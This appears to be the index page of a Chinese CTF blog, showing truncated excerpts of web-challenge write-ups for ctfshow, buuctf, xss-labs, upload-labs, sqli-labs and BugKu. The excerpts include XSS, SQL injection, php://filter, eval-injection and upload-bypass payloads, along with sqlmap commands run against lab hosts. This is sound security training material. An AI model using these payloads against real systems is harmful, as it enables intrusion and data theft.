Evo1ution's blog

ctfshow 年CTF web题解除夕<?php/*# -*- coding: utf-8 -*-# @Author: h1xa# @Date: 2023-01-18 11:36:09# @Last Modified by: h1xa# @Last Modified time: 2023-01-19 10:18:44# @email: h1xa@ctfer.com# @link: https://ctfer.com*/include "flag.php";$year = $_GET['year'];if($year==2022 && $year+1!==2023){ echo $flag;}else{ highlight_file(__FILE__);} 弱类型比较 /?year=2022.e 初三<?php/*# -*- coding: utf-8 -*-# @Author: h1xa# @Date: 2023-01-19 10:31:36# @L ...

ctfshow-Web入门刷题记录1 参考： ctfshow-Web1000题系列修炼(一) CTFSHOW PHP特性篇 （下篇132-150） 无字母数字绕过正则表达式总结（含上传临时文件、异或、或、取反、自增脚本） 信息搜集web1查看源码 web2view-source: web3抓包，在响应包发现Flag: ctfshow{b5a5badc-46c5-4c2c-ad28-174f21781454} web4/robots.txt/flagishere.txt web5/index.php web6/www.zip web7/.git/ web8/.svn/ web9/index.php.swp web10对Cookie中flag字段进行URL解码即可 web11在域名解析查询选定txt分类对flag.ctfshow.com进行查询即可 web12页面最底部发现Help Line Number : 372619038 访问\admin并使用admin/372619038即可登录 web13点击页面底部的INFORMATION分栏中最下面的document ...

buuctf Web 刷题记录 2 参考： 无参数RCE总结 php无参数执行命令 最全phpmyadmin漏洞汇总 [网鼎杯 2018]Fakebook访问/robots.txt发现备份文件/user.php.bak <?phpclass UserInfo{ public $name = ""; public $age = 0; public $blog = ""; public function __construct($name, $age, $blog) { $this->name = $name; $this->age = (int)$age; $this->blog = $blog; } function get($url) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); ...

xss-labs 刷题记录 参考： xss-labs通关大合集 xss-labs Level1Payload/level1.php?name=<script>alert(1)</script> 源码分析<?php ini_set("display_errors", 0);$str = $_GET["name"];echo "<h2 align=center>欢迎用户".$str."</h2>"; //对用户的输入不加处理直接输出?> Level2Payload/level2.php?keyword="><script>alert(1)</script>//&submit=搜索 源码分析想办法闭合value处然后把后面的内容注释掉即可 <?php ini_set("display_errors", 0);$str = $_GET["keyword" ...

buuctf Web 刷题记录 1 参考： 命令执行漏洞利用及绕过方式总结 SSTI模版注入 flask 源码解析：session 客户端 session 导致的安全问题 PHP中MD5常见绕过 [ACTF2020 新生赛]Include点击hint后发现地址栏处有file=flag.php，故构造payload http://ae8bac3b-f39b-4695-b09d-2906050c1289.node4.buuoj.cn:81/?file=php://filter/read=convert.base64-encode/resource=flag.php 得到flag.php的base64编码 PD9waHAKZWNobyAiQ2FuIHlvdSBmaW5kIG91dCB0aGUgZmxhZz8iOwovL2ZsYWd7ZTIyMWQyMzQtYThjNi00NzMyLTg2YzQtZWQzMTMxMzJlZGM0fQo= 解码即可得到flag <?phpecho "Can you find out the flag?";//flag{e ...

upload-labs 刷题记录 参考： HxD upload-labs之pass 16详细分析 upload-labs通关攻略 Pass-01 js检查前端验证图片格式，禁用js或者使用burp抓包修改后缀即可。 访问http://127.0.0.1:8081/upload-labs/upload/phpinfo.php即可查看信息。 Pass-02 只验证content-type只验证了content-type类型，抓包修改即可 Pass-03 黑名单绕过采用黑名单机制，不允许上传.asp,.aspx,.php,.jsp后缀的文件，但可以上传.phtml .phps .php5 .pht，前提是apache的httpd.conf中有如下配置代码 AddType application/x-httpd-php .php .phtml .phps .php5 .pht 上传后注意关注下文件存储位置和文件名 Pass-04 .htaccess绕过禁止了一系列文件类型，但没有禁止.htaccess，不过该方法需要mod_rewrite模块开启且AllowOverride All。 ...

sqli-labs 刷题记录 参考： MYSQL注入天书 此文尽量使用手工注入以加深对原理的理解，竭力避免了使用sqlmap或者脚本自动化注入等方式。 Page-1 (Basic Challenges)Less-1 GET - Error based - Single quotes - String (基于错误的GET单引号字符型注入)手动注入进去之后发现让输入id，随便输一个数字id发现都可以正常回显，然后尝试注入 http://127.0.0.1:8081/sqli-labs/Less-1/?id=1' 根据报错信息猜测原语句是用'$id'来处理的输入，故用'闭合即可。 http://127.0.0.1:8081/sqli-labs/Less-1/?id=1' or 1=1--+ 正常回显，故用order by爆出列数，发现有3列(4时报错) http://127.0.0.1:8081/sqli-labs/Less-1/?id=1' order by 4--+ 然后开始爆库名 http://127.0.0.1:808 ...

BugKu Web 刷题记录 4 参考： ctf中的序列化和反序列化 BugKu-Web-wp1 BugKu-Web-wp2 BugKu-Web-wp3 Bugku-Web-wp4 sql注入 你从哪里来添加Referer字段即可。 MD5根据提示得知是md5碰撞，故构造payload如下即可获得flag。 http://114.67.175.224:14728/index.php?a=s878926199a 程序员本地网站添加client-ip字段即可 file_get_contents访问http://114.67.175.224:12650/flag.txt得到bugku,然后构造payload即可 http://114.67.175.224:12650/?ac=bugku&fn=flag.txt 安慰奖F12查看源码，发现base64编码，解码后为backups，用dirsearch扫描一遍发现有bak文件，下载下来即可获得源码 <?phpheader("Content-Type: text/html;charset=utf-8") ...

BugKu Web 刷题记录3 参考： PHP程序执行 BugKu-Web-wp1 BugKu-Web-wp2 BugKu-Web-wp3 game1一局游戏结束后，发现抓到了一个可疑的数据包 猜测sign字段是base64加密的，但解码后发现是无用字符，又对score字段尝试base64加密，发现25的base64码是MjU=，故猜测sign字段本质上是不是'zM'+'base64_encode(score)'+'=='这样组成的，发送后发现确实可以得到flag eval方法1先试试传入全局变量看看其中内容 http://114.67.175.224:13624/?hello=$GLOBALS 很好，被嘲讽了。eval会执行传入字符串，故构造payload让其执行命令 http://114.67.175.224:13624/?hello=);show_source('flag.php');var_dump( 方法2也可以直接使用file http://114.67.175.224:13624/?hell ...

BugKu Web 刷题记录2 参考： BugKu-Web-wp1 BugKu-Web-wp2 get-shell-wp1 get-shell-wp2 成绩查询使用sqlmap进行注入 python sqlmap.py -u http://114.67.175.224:16892/ --forms --dbs 发现爆出来四个数据库名字 其中skctf很可疑，去爆其中表名 python sqlmap.py -u http://114.67.175.224:16892/ --forms --dbs -D skctf --tables 可以猜测，flag就在f14g中，故去爆其中字段 python sqlmap.py -u http://114.67.175.224:16892/ --forms --dbs -D skctf -T fl4g --columns 可以看到，fl4g表中有一个名为skctf_flag字段，得到其字段信息即可。 python sqlmap.py -u http://114.67.175.224:16892/ --forms --dbs -D skct ...